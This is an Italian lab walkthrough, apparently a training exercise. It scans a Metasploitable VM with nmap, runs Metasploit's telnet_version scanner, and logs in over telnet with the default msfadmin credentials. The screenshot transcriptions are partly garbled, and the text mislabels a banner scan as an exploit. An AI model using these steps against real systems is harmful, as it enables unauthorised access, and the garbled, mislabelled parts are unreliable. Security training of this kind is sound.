Obiettivo: Sfruttare le vulnerabilità relativa al telnet con il modulo auxilary telnet_version.

Prima Fase

Come prima cosa andiamo ad impostare le nostre VM con gli indirizzi ip 192.168.1.25 per Kali e 192.168.1.40 per Metasploitable.

```
GNU nano 6.4

This file describes the network interfaces available on your system # and how to activate them. For more information, see interfaces(5).

source /etc/network/interfaces.d/*

# The loopback network interface auto lo iface lo inet loopback

auto eth0 iface eth0 inet static address 192.168.1.25/24 gateway 192.168.1.1
```

```
File Macchina Visualizza Inserimento Dispositivi
GNU nano 2.0.7 File: /etc/
# This file describes the network in # and how to activate them. For more # The loopback network interface auto lo iface lo inet loopback
# The primary network interface auto eth0 iface eth0 inet static address 192.168.1.40 netmask 255.255.255.0 network 192.168.1.0 broadcast 192.168.1.255 gateway 192.168.1.1
```

Seconda Fase: Sessione di Hacking telnet

Dopo aver impostato la comunicazione tra le nostre VM andiamo a configurare Metasploit per iniziare la sessione di hacking sul servizio telnet, per prima cosa lanciamo uno scan con nmpa sulla porta 23 dove si trova il servizio telnet.

```
(kali⊕ kali)-[~]
$ nmap -sV -T5 -p 23 192.168.1.40
Starting Nmap 7.93 ( https://nmap.org ) at 2022-12-06 08:35 EST
Nmap scan report for 192.168.1.40
Host is up (0.0083s latency).

PORT STATE SERVICE VERSION
23/tcp open telnet Linux telnetd
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 24.16 seconds
```

Dopo aver configurato l'exploit su Metasploit, tranne per il payload che come vediamo nelle immagini seguenti in questo caso non viene richiesto ed è già di default, lanciamo il nostro exploit.

Usiamo il path 35.

```
28 exploit/linux/ftp/proftp_telnet_iac 2010-11-01 great Yes ProFTPD 1.3.2rc3 - 1.3.3b Telnet_IAC Buffer Overflow (Li ux)
29 auxiliary/scanner/telnet/telnet_ruggedcom
30 auxiliary/scanner/telnet/satel_cmd_exec 2017-04-07 normal No Satel Iberia SenNet Data Logger and Electricity Meters C mormal Injection Vulnerability
31 exploit/solaris/telnet/tryprompt 2002-01-18 excellent No Solaris in_telnetd TTYPROMPT Buffer Overflow 2007-02-12 excellent No Solaris in_telnetd TTYPROMPT Buffer Overflow Sun Solaris Telnet Remote Authentication Bypass Vulnerability
32 exploit/solaris/telnet/fuser 2007-02-12 excellent No TP-Link SC2020n Authenticated Telnet Injection suxiliary/scanner/telnet/telnet_version normal No Telnet Login Check Scanner
34 auxiliary/scanner/telnet/telnet_version normal No Telnet Service Banner Detection normal No Telnet Service Se
```

```
msf6 > use 35 7 93 ( https://map.org ) at 2022
msf6 auxiliary(scanner/telnet/telnet_version) >
```

Andiamo poi a settare l'host target, che vieni richiesto in required.

```
elnot version) > show options
msf6 auxiliary(
Module options (auxiliary/scanner/telnet/telnet_version):
                 Current Setting Required Description
    PASSWORD
                                                        The password for the specified username
                                                       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
The target port (TCP)
The number of concurrent threads (max one per host)
Timeout for the Telnet probe
    RHOSTS
    THREADS 1
TIMEOUT 30
    USERNAME
                                                      The username to authenticate as
View the full module info with the info, or info -d command.
\frac{msf6}{msf6} auxiliary(scanner/telnet/telnet_version) > set RHOSTS 19 RHOSTS \Rightarrow 192.168.1.40 \frac{msf6}{msf6} auxiliary(scanner/telnet/telnet_version) > show options
                                                         ion) > set RHOSTS 192.168.1.40
Module options (auxiliary/scanner/telnet/telnet_version):
                 Current Setting Required Description
                                                       The password for the specified username
The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
The target port (TCP)
    PASSWORD
    RHOSTS 192.168.1.40
                                        yes
yes
    RPORT
                                                       The number of concurrent threads (max one per host)
Timeout for the Telnet probe
    THREADS 1
TIMEOUT 30
                                                       The username to authenticate as
    USERNAME
```

Il nostro exploit va a segno e ci fornisce i dati per il login, come vediamo nella figura seguente.

Terza Fase

Andiamo in fine ad utilizzare le informazioni ottenute per il login, utilizzando il comando telnet dal terminale Kali entriamo da remoto nella Vm Metasploitable e utilizziamo il login per prendere il controllo della macchina.

```
(kali@ kali)-[~]
$ telnet 192.168.1.40
Trying 192.168.1.40...
Connected to 192.168.1.40...
Escape character is '^]'.

Warning: Never expose this VM to an untrusted network!

Contact: msfdev[at]metasploit.com

Login with msfadmin/msfadmin to get started

metasploitable login: msfadmin
Password:
Last login: Tue Dec 6 04:18:00 EST 2022 on tty1
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686

Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686

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Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law.

To access official Ubuntu documentation, please visit: http://help.ubuntu.com/
No mail.
msfadmin@metasploitable:-$ ■
```